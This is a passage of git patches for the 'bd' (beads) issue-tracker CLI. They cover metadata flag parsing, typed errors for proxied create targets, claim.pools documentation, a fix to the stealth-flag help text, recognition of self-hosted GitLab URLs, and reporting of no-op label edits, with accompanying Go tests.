(lost-update fix). - updates[storageissueops.OpMergeMetadata] = json.RawMessage(metadataJSON) + updates[storageissueops.OpMergeMetadata] = metadata } // Incremental metadata edits (GH#1406) @@ -1022,7 +1009,7 @@ func init() { updateCmd.Flags().Bool("no-history", false, "Mark issue as no-history (skip Dolt commits, not GC-eligible)") updateCmd.Flags().Bool("history", false, "Clear no-history flag (re-enable Dolt commit history)") // Metadata flag (GH#1413) - updateCmd.Flags().String("metadata", "", "Set custom metadata (JSON string or @file.json to read from file)") + updateCmd.Flags().String("metadata", "", "Set custom metadata (JSON object, or @file.json to read from file)") // Incremental metadata edits (GH#1406) updateCmd.Flags().StringArray("set-metadata", nil, "Set metadata key=value (repeatable, e.g., --set-metadata team=platform)") updateCmd.Flags().StringArray("unset-metadata", nil, "Remove metadata key (repeatable, e.g., --unset-metadata team)") diff --git a/cmd/bd/update_input.go b/cmd/bd/update_input.go index a7ff09a97..954efa789 100644 --- a/cmd/bd/update_input.go +++ b/cmd/bd/update_input.go @@ -233,21 +233,11 @@ func gatherUpdateInput(ctx context.Context, cmd *cobra.Command) (*updateInput, e } if cmd.Flags().Changed("metadata") { metadataValue, _ := cmd.Flags().GetString("metadata") - var metadataJSON string - if strings.HasPrefix(metadataValue, "@") { - filePath := metadataValue[1:] - data, err := os.ReadFile(filePath) //#nosec G304 -- user-supplied path via @file syntax - if err != nil { - return nil, HandleErrorRespectJSON("failed to read metadata file %s: %v", filePath, err) - } - metadataJSON = string(data) - } else { - metadataJSON = metadataValue + metadata, err := readMetadataFlag(metadataValue) + if err != nil { + return nil, HandleErrorRespectJSON("%v", err) } - if !json.Valid([]byte(metadataJSON)) { - return nil, HandleErrorRespectJSON("invalid JSON in --metadata: must be valid JSON") - } - in.mergeMetadataIn = json.RawMessage(metadataJSON) + in.mergeMetadataIn = metadata } setMetadataFlags, _ := cmd.Flags().GetStringArray("set-metadata") unsetMetadataFlags, _ := cmd.Flags().GetStringArray("unset-metadata") From f7bf53f14c64920a4a3f675d11e748ea954a76c2 Mon Sep 17 00:00:00 2001 From: Jason Harmon <66689099+jhwodchuck@users.noreply.github.com> Date: Sat, 26 Sep 2026 05:54:06 -0500 Subject: [PATCH 079/624] fix(create): render proxied target store refusal as typed error (#6732) Preserve proxy.store.unrouted through create target opens, including dry-run parent lookup, and describe the target accurately for direct and automatic routing. Add embedded CLI coverage for flat and enveloped JSON, text output, ordinary errors, and unchanged workspaces. Fixes #6684 --- cmd/bd/create.go | 24 ++- cmd/bd/create_proxy_unrouted_embedded_test.go | 175 ++++++++++++++++++ 2 files changed, 197 insertions(+), 2 deletions(-) create mode 100644 cmd/bd/create_proxy_unrouted_embedded_test.go diff --git a/cmd/bd/create.go b/cmd/bd/create.go index 8b3581dde..8129cd5d2 100644 --- a/cmd/bd/create.go +++ b/cmd/bd/create.go @@ -407,7 +407,7 @@ var createCmd = &cobra.Command{ var err error targetStore, err = newDoltStoreFromConfig(rootCtx, targetBeadsDirPath) if err != nil { - return HandleError("failed to open target store: %v", err) + return handleCreateTargetStoreError(err, targetBeadsDirPath, "failed to open target store: %v") } } @@ -435,7 +435,11 @@ var createCmd = &cobra.Command{ var err error parentLookupStore, err = openDryRunTargetStore(rootCtx, repoPath) if err != nil { - return HandleError("%v", err) + targetPath := repoPath + if !remotecache.IsRemoteURL(repoPath) { + targetPath = filepath.Join(routing.ExpandPath(repoPath), ".beads") + } + return handleCreateTargetStoreError(err, targetPath, "%v") } defer func() { _ = parentLookupStore.Close() }() } @@ -955,6 +959,22 @@ func init() { rootCmd.AddCommand(createCmd) } +// handleCreateTargetStoreError preserves the existing text path for ordinary +// store failures while rendering capability refusals as typed JSON when asked. +func handleCreateTargetStoreError(err error, targetPath, fallbackFormat string) error { + var capErr *ProxyCapabilityError + if !errors.As(err, &capErr) { + return HandleError(fallbackFormat, err) + } + + withContext := *capErr + withContext.Message = fmt.Sprintf("failed to open create target %q: %s", targetPath, capErr.Message) + if capErr.Code == "proxy.store.unrouted" { + withContext.Message = fmt.Sprintf("create target %q is a proxied-server workspace; bd cannot open it as a direct store", targetPath) + } + return HandleProxyCapabilityError(&withContext) +} + // formatTimeForRPC converts a *time.Time to RFC3339 string for RPC calls. // Returns empty string if t is nil, to distinguish "not set" from "set to zero". func formatTimeForRPC(t *time.Time) string { diff --git a/cmd/bd/create_proxy_unrouted_embedded_test.go b/cmd/bd/create_proxy_unrouted_embedded_test.go new file mode 100644 index 000000000..8b12aee7e --- /dev/null +++ b/cmd/bd/create_proxy_unrouted_embedded_test.go @@ -0,0 +1,175 @@ +//go:build cgo + +package main + +import ( + "bytes" + "encoding/json" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" +) + +// TestEmbeddedCreateRepoProxiedTargetError exercises the CLI boundary: the target +// store's typed error must survive create --repo and reach --json callers. +func TestEmbeddedCreateRepoProxiedTargetError(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt create tests") + } + + bd := buildEmbeddedBD(t) + directDir, _, _ := bdInit(t, bd, "--prefix", "direct") + before, err := bdRunWithFlockRetry(t, bd, directDir, "list", "--json") + if err != nil { + t.Fatalf("list before create: %v: %s", err, before) + } + proxiedDir := t.TempDir() + proxiedBeadsDir := filepath.Join(proxiedDir, ".beads") + if err := os.MkdirAll(proxiedBeadsDir, 0o755); err != nil { + t.Fatal(err) + } + proxiedMetadata := []byte(`{"database":"p","backend":"dolt","dolt_mode":"proxied-server"}`) + if err := os.WriteFile(filepath.Join(proxiedBeadsDir, "metadata.json"), proxiedMetadata, 0o644); err != nil { + t.Fatal(err) + } + + runBD := func(envelope string, args ...string) (string, string, error) { + t.Helper() + cmd := exec.Command(bd, args...) + cmd.Dir = directDir + cmd.Env = append(envWithout(bdEnv(directDir), "BD_JSON_ENVELOPE"), "BD_JSON_ENVELOPE="+envelope) + stdout, stderr, err := runCommandBuffers(t, cmd) + return stdout.String(), stderr.String(), err + } + runCreate := func(target, envelope string) (string, string, error) { + return runBD(envelope, "create", "--json", "--repo", target, "x") + } + + stdout, stderr, err := runCreate(proxiedDir, "0") + if exitErr, ok := err.(*exec.ExitError); !ok || exitErr.ExitCode() != 1 { + t.Fatalf("proxied create exit = %v, want 1; stdout=%q stderr=%q", err, stdout, stderr) + } + if stderr != "" { + t.Fatalf("proxied create stderr = %q, want empty", stderr) + } + var got map[string]any + if err := json.Unmarshal([]byte(stdout), &got); err != nil { + t.Fatalf("proxied create stdout is not JSON: %q: %v", stdout, err) + } + if got["code"] != "proxy.store.unrouted" || got["reason"] != "unimplemented" || + got["mutates"] != false || got["schema_version"] != float64(1) { + t.Fatalf("proxied create JSON = %v", got) + } + if message, ok := got["error"].(string); !ok || !strings.Contains(message, proxiedBeadsDir) || + !strings.Contains(message, "proxied-server workspace") || strings.Contains(message, "this command has no proxied-server route") { + t.Fatalf("proxied create error misidentifies the target: %v", got["error"]) + } + + // The same typed refusal must keep its fields under data when the + // supported JSON envelope is enabled. + stdout, stderr, err = runCreate(proxiedDir, "1") + if exitErr, ok := err.(*exec.ExitError); !ok || exitErr.ExitCode() != 1 { + t.Fatalf("enveloped create exit = %v, want 1; stdout=%q stderr=%q", err, stdout, stderr) + } + if stderr != "" { + t.Fatalf("enveloped create stderr = %q, want empty", stderr) + } + var wrapped map[string]any + if err := json.Unmarshal([]byte(stdout), &wrapped); err != nil { + t.Fatalf("enveloped create stdout is not JSON: %q: %v", stdout, err) + } + data, ok := wrapped["data"].(map[string]any) + if !ok || wrapped["schema_version"] != float64(1) || data["code"] != "proxy.store.unrouted" || + data["reason"] != "unimplemented" || data["mutates"] != false { + t.Fatalf("enveloped create JSON = %v", wrapped) + } + textCmd := exec.Command(bd, "create", "--repo", proxiedDir, "x") + textCmd.Dir = directDir + textCmd.Env = bdEnv(directDir) + textOut, textErr, textExit := runCommandBuffers(t, textCmd) + if exitErr, ok := textExit.(*exec.ExitError); !ok || exitErr.ExitCode() != 1 { + t.Fatalf("text create exit = %v, want 1", textExit) + } + if textOut.Len() != 0 || !strings.Contains(textErr.String(), proxiedBeadsDir) || + !strings.Contains(textErr.String(), "proxied-server workspace") || strings.Contains(textErr.String(), "this command has no proxied-server route") { + t.Fatalf("text create output lacks target context: stdout=%q stderr=%q", textOut.String(), textErr.String()) + } + assertTypedRefusal := func(label, stdout, stderr string, runErr error) { + t.Helper() + if exitErr, ok := runErr.(*exec.ExitError); !ok || exitErr.ExitCode() != 1 { + t.Fatalf("%s exit = %v, want 1; stdout=%q stderr=%q", label, runErr, stdout, stderr) + } + if stderr != "" { + t.Fatalf("%s stderr = %q, want empty", label, stderr) + } + var refusal map[string]any + if err := json.Unmarshal([]byte(stdout), &refusal); err != nil { + t.Fatalf("%s stdout is not JSON: %q: %v", label, stdout, err) + } + message, _ := refusal["error"].(string) + if refusal["code"] != "proxy.store.unrouted" || refusal["reason"] != "unimplemented" || + refusal["mutates"] != false || refusal["schema_version"] != float64(1) || + !strings.Contains(message, proxiedBeadsDir) || strings.Contains(message, "--repo") { + t.Fatalf("%s refusal = %v", label, refusal) + } + } + + // Automatic routing reaches the same store factory without a --repo flag. + if out, stderr, err := runBD("0", "config", "set", "routing.default", proxiedDir); err != nil { + t.Fatalf("set routing.default: %v; stdout=%q stderr=%q", err, out, stderr) + } + stdout, stderr, err = runBD("0", "create", "--json", "x") + assertTypedRefusal("auto-routed create", stdout, stderr, err) + if out, stderr, err := runBD("0", "config", "unset", "routing.default"); err != nil { + t.Fatalf("unset routing.default: %v; stdout=%q stderr=%q", err, out, stderr) + } + + // Parent lookup for dry-run opens a preview store through a separate path. + stdout, stderr, err = runBD("0", "create", "--dry-run", "--json", "--parent", "direct-missing", "--repo", proxiedDir, "x") + assertTypedRefusal("dry-run create", stdout, stderr, err) + + // An ordinary target-store failure must retain the existing text/stderr + // behavior even when the caller requested JSON. + badDir := t.TempDir() + badBeadsDir := filepath.Join(badDir, ".beads") + if err := os.MkdirAll(badBeadsDir, 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(badBeadsDir, "metadata.json"), []byte("{not valid json"), 0o644); err != nil { + t.Fatal(err) + } + stdout, stderr, err = runCreate(badDir, "0") + if exitErr, ok := err.(*exec.ExitError); !ok || exitErr.ExitCode() != 1 { + t.Fatalf("bad metadata create exit = %v, want 1; stdout=%q stderr=%q", err, stdout, stderr) + } + if stdout != "" || !strings.Contains(stderr, "Error: failed to open target store:") { + t.Fatalf("bad metadata output: stdout=%q stderr=%q", stdout, stderr) + } + stdout, stderr, err = runBD("0", "create", "--dry-run", "--json", "--parent", "direct-missing", "--repo", badDir, "x") + if exitErr, ok := err.(*exec.ExitError); !ok || exitErr.ExitCode() != 1 { + t.Fatalf("bad metadata dry-run exit = %v, want 1; stdout=%q stderr=%q", err, stdout, stderr) + } + if stdout != "" || !strings.Contains(stderr, "Error: failed to open target store for dry-run:") { + t.Fatalf("bad metadata dry-run output: stdout=%q stderr=%q", stdout, stderr) + } + entries, err := os.ReadDir(proxiedBeadsDir) + if err != nil { + t.Fatal(err) + } + if len(entries) != 1 || entries[0].Name() != "metadata.json" { + t.Fatalf("proxied target gained files: %v", entries) + } + metadataAfter, err := os.ReadFile(filepath.Join(proxiedBeadsDir, "metadata.json")) + if err != nil || !bytes.Equal(metadataAfter, proxiedMetadata) { + t.Fatalf("proxied target metadata changed: %v", err) + } + after, err := bdRunWithFlockRetry(t, bd, directDir, "list", "--json") + if err != nil { + t.Fatalf("list after create: %v: %s", err, after) + } + if !bytes.Equal(before, after) { + t.Fatalf("failed creates changed direct workspace: before=%s after=%s", before, after) + } +} From d4ed0c7cbd28230ed1c71b3b673d4135e74d26b3 Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Sat, 26 Sep 2026 04:00:33 -0700 Subject: [PATCH 080/624] docs(config): document claim.pools in the configuration reference (#6607) (#6726) claim.pools shipped with pool-aware claiming (#4843) and is described in `bd config docs` (cmd/bd/config.go:78-88) and on `bd update --claim`, but docs/reference/configuration.md never mentions it, so a reader of the published configuration page cannot find the key or learn where its value has to live. Add a claim.pools row to the Project-Level Settings (Database) table and a short "Claim Pools" subsection at the end of that section. Each statement follows the code on main: - The value is read only from the database config table (ClaimPoolAliasesInTx -> GetConfigInTx, internal/storage/issueops/ claim.go:310-315, config_metadata.go:25-35; cmd/bd/show_unit_helpers.go:58,70). A config.yaml value is listed by `bd config show` as (config.yaml) but does not make an alias claimable. - Entries are comma-split and whitespace-trimmed (ParseClaimPools, claim.go:323-331); membership is an exact, case-sensitive string match (claim.go:91, internal/validation/issue.go:217). - A pool-assigned issue is claimed through the normal CAS, which grants the normal lease (claim.go:91, :202). - Real-actor and unlisted-alias assignees keep anti-steal protection. - `bd assign` / `bd update --assignee` skip the reassign fence for a pool-held in_progress issue (validation/issue.go:217; cmd/bd/assign.go:76, cmd/bd/update.go:504). - `bd ready --claim` claims only unassigned issues (claim.go:256). - An expired lease is reclaimed to open with no assignee (internal/storage/issueops/lease.go:759), not back to the pool alias. Fixes #6607 Co-authored-by: Claude Opus 5.5 --- docs/reference/configuration.md | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/docs/reference/configuration.md b/docs/reference/configuration.md index 8bd8e7ac4..8b14367dc 100644 --- a/docs/reference/configuration.md +++ b/docs/reference/configuration.md @@ -281,6 +281,7 @@ These are written to the Dolt database by `bd config set` and have no env var ov | `issue_id_mode` | `hash` (default) \| `counter` (see [below](#sequential-counter-ids)) | | `min_hash_length`, `max_hash_length` | Adaptive ID bounds (defaults `3` and `8`) | | `max_collision_prob` | Hash ID collision tolerance (default `0.25`) | +| `claim.pools` | Comma-separated pool aliases: placeholder assignees that any actor can take with `bd update --claim` (see [below](#claim-pools)). Unset by default, which turns pool claiming off | | `doctor.suppress.*` | Suppress specific `bd doctor` warnings by check slug (warnings only; errors always show) | Issue prefix (`issue_prefix`) is **not** settable via `bd config set` — use `bd init --prefix`, `bd bootstrap`, or `bd rename-prefix`. @@ -354,6 +355,23 @@ bd config set min_hash_length "5" # Force minimum 5-char IDs (default 3) bd config set max_hash_length "8" # Upper bound (default 8) ``` +### Claim Pools + +A dispatcher can pre-assign issues to a pool alias, a placeholder assignee such as `fable-crew`, and let any actor take them with `bd update --claim`. List the aliases in `claim.pools`: + +```bash +bd config set claim.pools "fable-crew,night-crew" +``` + +Claiming reads this key from the database only. A `claim.pools` value in `config.yaml` or in an environment variable has no effect, even though `bd config show` lists a `config.yaml` value with the source `(config.yaml)`. A value that claiming uses shows the source `(database)`. + +- **Exact match.** The value is split on commas and each entry is trimmed of surrounding whitespace. An issue counts as pool-assigned only when its assignee equals one of the entries exactly, including case: `Crew-A` is not the pool `crew-a`. +- **Claiming.** Taking a pool-assigned issue works like taking an unassigned one: the claimer becomes the assignee, the status moves to `in_progress`, and the claim gets the normal lease. +- **Anti-steal.** Issues assigned to a real actor, or to an alias that is not listed, keep their protection: `--claim` refuses them. +- **Reassigning.** `bd assign` and `bd update --assignee` can move an `in_progress` issue that a pool alias holds without `--force`. +- **`bd ready --claim`** takes only unassigned issues, so it skips pool-assigned ones even though `bd ready` lists them. Claim those by ID. +- **Lease expiry.** If the claimer's lease expires, `bd reclaim` sets the issue back to `open` with no assignee. It does not return the issue to the pool alias, so a dispatcher that wants it back in the pool has to reassign it. + ## Sync and Federation Beads syncs exclusively through Dolt remotes (`bd dolt push` / `bd dolt pull`) with cell-level merge. Use `bd export` for issue portability and `bd backup` for restorable database backups. From a42760ebc2e77123aeb8e097a2cb5291ee179795 Mon Sep 17 00:00:00 2001 From: Roman Dolgov <321677+alter@users.noreply.github.com> Date: Sat, 26 Sep 2026 14:13:33 +0300 Subject: [PATCH 081/624] fix(init): correct --stealth flag help text to match actual behavior (#6725) Co-authored-by: Roman Dolgov --- cmd/bd/init.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cmd/bd/init.go b/cmd/bd/init.go index acc1b8a77..1df71bf6e 100644 --- a/cmd/bd/init.go +++ b/cmd/bd/init.go @@ -2310,7 +2310,7 @@ func init() { initCmd.Flags().BoolP("quiet", "q", false, "Suppress output (quiet mode)") initCmd.Flags().Bool("contributor", false, "Run OSS contributor setup wizard") initCmd.Flags().Bool("team", false, "Run team workflow setup wizard") - initCmd.Flags().Bool("stealth", false, "Enable stealth mode: global gitattributes and gitignore, no local repo tracking") + initCmd.Flags().Bool("stealth", false, "Enable stealth mode: keep beads files out of git via .git/info/exclude (sets no-git-ops)") initCmd.Flags().Bool("setup-exclude", false, "Configure .git/info/exclude to keep beads files local (for forks)") initCmd.Flags().Bool("skip-hooks", false, "Skip git hooks installation") initCmd.Flags().Bool("skip-agents", false, "Skip AGENTS.md and Claude/Codex/Cursor setup generation") From a8a6c674131bd49ac373e4ea0fe2e41bff3b41e7 Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Sat, 26 Sep 2026 04:15:47 -0700 Subject: [PATCH 082/624] Beads #6735: prevent duplicate GitLab sync on self-hosted URLs (#6736) * fix(gitlab): recognize work-item URLs on the configured self-hosted host (GH#6735) IsExternalRef required the substring "gitlab" in the URL, so self-hosted instances without it were treated as unlinked and sync created duplicate issues. Also accept issue/work-item/milestone URLs whose host (and base path) match the configured gitlab.url; unrelated hosts stay rejected. Co-Authored-By: Claude Sonnet 5 * docs(gitlab): record the self-hosted ref fix and correct the BaseURL contract Maintainer review fixups for #6736. The review found no blocker and no major; these are its two gate-impact minors plus the two nearby nits. No behavior change: the only non-comment edits are in the test. - CHANGELOG had no entry for a user-visible change to which external refs the GitLab tracker claims (6 of the 8 commits preceding the merge base touch it). The bullet names GH#6735 and the two limits a reader actually needs: matching is host-scoped, not project-scoped, and the host must be spelled the way GitLab emits it in web_url. - Client.BaseURL was documented as "https://gitlab.com/api/v4". That example was already wrong before this PR -- buildURL appends DefaultAPIEndpoint itself, so the documented form doubles the suffix -- but onConfiguredHost now makes the web-root form load-bearing for ref identity, so a maintainer "fixing" a construction site to match the comment would silently restore the duplicate sync this PR fixes. WithEndpoint is that construction site: its doc said "custom API endpoint" while assigning BaseURL. It has no production caller, so both are doc-only corrections. - onConfiguredHost now states the host-only match scope and the literal host comparison. Both reviewers asked for these to be documented rather than narrowed: keying the match on gitlab.project_path would drop self-hosted recognition exactly where it is least likely to be configured, since that key is optional and Init discards its load error. - tracker_test: the milestone and shorthand rows are satisfied by the pre-existing "milestones" substring and glShorthandPattern arms, so they pass with onConfiguredHost deleted and overstated the table's coverage of the new predicate. They are now grouped and labeled as regression pins for those arms, and the two cases that do discriminate are added -- a scheme mismatch (claimed: only the host is compared) and a non-default port (not claimed when the ref omits it). Deleting `&& !t.onConfiguredHost(ref)` now fails 6 assertions, up from 4. Validation: gofmt, git diff --check, go vet ./internal/gitlab/, golangci-lint ./internal/gitlab/... (0 issues), go test ./internal/gitlab/... and go test ./cmd/bd/ -run 'GitLab|Gitlab', plus the counterfactual run above. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Julian Knutsen --- CHANGELOG.md | 20 +++++++++++++ internal/gitlab/client.go | 4 ++- internal/gitlab/tracker.go | 35 +++++++++++++++++++++- internal/gitlab/tracker_test.go | 51 +++++++++++++++++++++++++++++++++ internal/gitlab/types.go | 12 ++++++-- 5 files changed, 118 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c25ad9f72..edf3746fd 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -289,6 +289,26 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 spelling), where commenting the key out would leave the body behind as a value of its own. Unsetting a key that is not set remains a successful no-op in every shape. +- **A self-hosted GitLab no longer re-creates its own issues on every push** + ([#6735](https://github.com/gastownhall/beads/issues/6735)). The tracker + decided whether a stored `external_ref` was one of its own by looking for + the substring "gitlab" in the URL, so an instance whose hostname does not + contain it — `https://nova.teachx.ai`, say — had its own issue and + work-item URLs classified as foreign. `bd gitlab push` then took the + create-not-update path for issues that were already synced, and pull + reconciliation and conflict detection skipped them. Such a URL is now also + recognized when its host, and base path for a GitLab served from a + sub-path, match the configured `gitlab.url`. + + Recognition only widens: every ref the substring check already claimed is + classified exactly as before, so no existing link changes meaning. Two + limits are worth knowing. Matching is host-scoped, not project-scoped — with + GitLab at the host root, a ref pointing at another project on the same host + now counts as this tracker's, as has always been the case for `gitlab.com`. + And the host is compared literally, so `gitlab.url` must name it the way + GitLab spells it in the `web_url`s it returns; writing an explicit default + port (`https://host:443`) matches none of them and leaves the old behavior + in place. ### Changed diff --git a/internal/gitlab/client.go b/internal/gitlab/client.go index 744faeb61..8184b5839 100644 --- a/internal/gitlab/client.go +++ b/internal/gitlab/client.go @@ -53,8 +53,10 @@ func (c *Client) WithHTTPClient(httpClient *http.Client) *Client { } } -// WithEndpoint returns a new client configured to use a custom API endpoint. +// WithEndpoint returns a new client pointed at a different instance web root. // This is useful for testing with mock servers or self-hosted GitLab instances. +// It sets BaseURL, so endpoint carries the same contract: the web root, without +// the /api/v4 suffix buildURL appends per request. func (c *Client) WithEndpoint(endpoint string) *Client { return &Client{ Token: c.Token, diff --git a/internal/gitlab/tracker.go b/internal/gitlab/tracker.go index 8a83fb64b..a1ee8b45f 100644 --- a/internal/gitlab/tracker.go +++ b/internal/gitlab/tracker.go @@ -3,6 +3,7 @@ package gitlab import ( "context" "fmt" + "net/url" "os" "regexp" "strconv" @@ -513,12 +514,44 @@ func (t *Tracker) IsExternalRef(ref string) bool { if glShorthandPattern.MatchString(ref) { return true } - if !strings.Contains(ref, "gitlab") && !strings.Contains(ref, "milestones") { + if !strings.Contains(ref, "gitlab") && !strings.Contains(ref, "milestones") && !t.onConfiguredHost(ref) { return false } return issueIIDPattern.MatchString(ref) || milestoneIDPattern.MatchString(ref) } +// onConfiguredHost reports whether ref is a URL on the same host (and base +// path, for GitLab served from a sub-path) as the configured gitlab.url. +// Self-hosted instances need not have "gitlab" in their hostname. +// +// Matching is host-scoped, not project-scoped: with GitLab at the host root +// this claims every issue/work-item URL on the host, other projects' included. +// That is what the "gitlab" substring arm already does for gitlab.com, and +// keying on the project would silently stop recognizing self-hosted refs, +// since gitlab.project_path is optional and Init discards its load error. +// +// Hosts are compared literally, so gitlab.url must name the host the way +// GitLab spells it in the web_url values it returns: an explicit default port +// ("https://host:443") matches none of them, and the ref is left to the legacy +// substring arms. Scheme is not compared, so an http:// ref on an https:// +// instance is still claimed — leniency only, since the IID patterns below +// still decide what is ultimately recognized. +func (t *Tracker) onConfiguredHost(ref string) bool { + if t.client == nil || t.client.BaseURL == "" { + return false + } + base, err := url.Parse(t.client.BaseURL) + if err != nil || base.Host == "" { + return false + } + u, err := url.Parse(ref) + if err != nil || !strings.EqualFold(u.Host, base.Host) { + return false + } + basePath := strings.TrimRight(base.Path, "/") + return basePath == "" || u.Path == basePath || strings.HasPrefix(u.Path, basePath+"/") +} + // ExtractIdentifier extracts the issue IID from a GitLab URL or shorthand ref. func (t *Tracker) ExtractIdentifier(ref string) string { if m := glShorthandPattern.FindStringSubmatch(ref); len(m) >= 2 { diff --git a/internal/gitlab/tracker_test.go b/internal/gitlab/tracker_test.go index 9b6473c2e..d577f039b 100644 --- a/internal/gitlab/tracker_test.go +++ b/internal/gitlab/tracker_test.go @@ -56,6 +56,57 @@ func TestIsExternalRef(t *testing.T) { } } +func TestIsExternalRefSelfHostedURL(t *testing.T) { + tr := &Tracker{client: NewClient("tok", "https://nova.teachx.ai", "42")} + tests := []struct { + ref string + want bool + }{ + {"https://nova.teachx.ai/group/project/-/work_items/24", true}, + {"https://nova.teachx.ai/group/project/-/issues/24", true}, + {"https://NOVA.teachx.ai/group/project/-/issues/24", true}, + // Scheme is not compared, only host: an http:// ref on an https:// + // instance is claimed. + {"http://nova.teachx.ai/group/project/-/issues/24", true}, + {"https://other.example.com/group/project/-/work_items/24", false}, + {"https://github.com/org/repo/issues/1", false}, + {"https://nova.teachx.ai/group/project/-/merge_requests/24", false}, + {"", false}, + // Regression pins for the pre-existing arms, not the host check: the + // milestone row is claimed by the "milestones" substring and the + // shorthand returns at glShorthandPattern, both before the host check + // runs. They still pass if onConfiguredHost is deleted. + {"https://nova.teachx.ai/group/project/-/milestones/5", true}, + {"gitlab:24", true}, + } + for _, tt := range tests { + if got := tr.IsExternalRef(tt.ref); got != tt.want { + t.Errorf("IsExternalRef(%q) = %v, want %v", tt.ref, got, tt.want) + } + } + + // A GitLab served from a sub-path only claims URLs under that path. + sub := &Tracker{client: NewClient("tok", "https://corp.example.com/git", "42")} + if !sub.IsExternalRef("https://corp.example.com/git/g/p/-/issues/3") { + t.Error("sub-path host URL should be recognized") + } + if sub.IsExternalRef("https://corp.example.com/wiki/g/p/-/issues/3") { + t.Error("URL outside the configured sub-path should be rejected") + } + + // Port is part of the host comparison, so gitlab.url has to name the host + // the way GitLab spells it in web_url. A non-default port must be present + // in the ref; conversely, a base that spells a port the web URLs omit + // matches nothing and the ref falls through to the legacy arms. + port := &Tracker{client: NewClient("tok", "https://gl.corp:8443", "42")} + if !port.IsExternalRef("https://gl.corp:8443/g/p/-/issues/3") { + t.Error("URL on the configured host:port should be recognized") + } + if port.IsExternalRef("https://gl.corp/g/p/-/issues/3") { + t.Error("URL omitting the configured non-default port should be rejected") + } +} + func TestExtractIdentifier(t *testing.T) { tr := &Tracker{} tests := []struct { diff --git a/internal/gitlab/types.go b/internal/gitlab/types.go index f2762c821..e1dcae594 100644 --- a/internal/gitlab/types.go +++ b/internal/gitlab/types.go @@ -46,8 +46,16 @@ type IssueFilter struct { // Client provides methods to interact with the GitLab REST API. type Client struct { - Token string // GitLab personal access token or OAuth token - BaseURL string // GitLab instance URL (e.g., "https://gitlab.com/api/v4") + Token string // GitLab personal access token or OAuth token + + // BaseURL is the GitLab instance web root, e.g. "https://gitlab.com" — not + // an API endpoint. buildURL appends DefaultAPIEndpoint to it per request, so + // spelling it "https://gitlab.com/api/v4" doubles the suffix. It is also + // load-bearing for ref identity: createTaskWorkItem composes stored web_url + // refs from this value, and (*Tracker).onConfiguredHost matches refs back + // against it to decide which ones belong to this tracker. + BaseURL string + ProjectID string // Project ID or URL-encoded path (e.g., "group/project") GroupID string // Optional group ID or path for group-level issue fetching HTTPClient *http.Client // Optional custom HTTP client From 0b9e644ba91253fe8d7e35c7cc8064cd8af0247e Mon Sep 17 00:00:00 2001 From: Harry Miller Date: Sat, 26 Sep 2026 04:29:06 -0700 Subject: [PATCH 083/624] fix(label): report a no-op label edit instead of claiming it (#5988) (#6742) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(label): report a no-op label edit instead of claiming it (#5988) `bd label remove x` printed "✓ Removed label 'x' from " (JSON status "removed") for a label the issue never had, and `bd label add` printed "✓ Added label" for one it already had, so a real edit could not be told from a no-op. Root cause: applyLabelEdit discarded the issueops.UpdateResult of each lifecycle.Update, and reportLabelEdit printed the operation for every (issue, label) pair unconditionally. The storage side was already right: ApplyLabelPatch compares the target set with the existing one and writes nothing (no label row, no event, no Dolt commit) when they are equal. Fix: keep the result and derive a per-label outcome. For a single label, UpdateResult.Changed answers it exactly. A multi-label edit that changed something reads the issue's labels before the update (Reader.Get, only in that case) to split the labels that moved from those that did not. A label left as it was is now reported as "• Label 'x' was not on " / "• already has label 'x'" (the "•" accent no-op glyph `bd provenance` already uses), with JSON status "unchanged"; the other JSON fields and the added/removed values for real edits are unchanged. Both the direct and the proxied-server routes go through applyLabelEdit, so they report alike. The exit code is deliberately still 0: a no-op edit is not an error, and making it one would break idempotent callers (the reporter advises against it too). Agent-Signature: claude-code-opus-5-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5.5 (1M context) * test(regression): mark BUG-70/71 fixed and assert the no-op output (#6742 review) TestDiscovery_LabelRemoveNonexistentSilentSuccess and TestDiscovery_LabelAddDuplicateReportsAdded only checked the exit code and label count, so they kept flagging after the fix (a no-op still exits 0 by design). They now assert the fixed output: no "Removed" / "Added" claim, and the "was not on" / "already has label" line. They follow the FIXED-and-kept-as-a-lock convention of TestDiscovery_LabelPatternFilterDeadCode. Both fail against the unfixed label.go and pass with it. DISCOVERY.md marks BUG-70 and BUG-71 as FIX PR / PR OPEN (#6742). Agent-Signature: claude-code-opus-5-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5.5 (1M context) * test(label): pin the divergent multi-issue label report (#6742 review) Maintainer review fixups for PR #6742. No production behavior change. Every subtest the PR added edits exactly one issue, so nothing pinned the shape the diff actually rewrote: the old code hoisted labelDesc out of the id loop and printed one identical line per issue, while the new code appends a labelEditOutcome per issue derived from that issue's own UpdateResult.Changed. label_edit_divergent_multi_issue covers it — two issues, the label on only one, one `bd label add A B shared` — asserting the two JSON rows (added for one issue_id, unchanged for the other) and the two text lines, each naming its own id. Verified non-vacuous rather than just green: with the outcome hoisted back out of the id loop (the first result reused for every id) this is the ONLY one of the 28 subtests that fails — the four new no-op subtests and label_edit_mixed_reports_each_label all still pass, which is exactly the refactor hazard the review named. applyLabelEdit now records what the multi-label pre-edit read cannot promise: it is taken outside the write transaction, so per-label attribution is best-effort under a concurrent edit. The stored labels, the JSON shape and the exit code stay correct regardless, because ApplyLabelPatch recomputes the target set from current.Labels inside the write; a single-label edit is immune by construction. The BatchApplier shape already named above it closes the window structurally. The two reworked discovery tests no longer call themselves a "regression lock". The file is `//go:build regression && discovery` and no CI lane passes the discovery tag (regression.yml runs -tags=regression,gms_pure_go), so the CI lock for this fix is TestEmbeddedLabel/TestProxiedServerLabel in cmd/bd, and the comments now say so. Validation: TestEmbeddedLabel 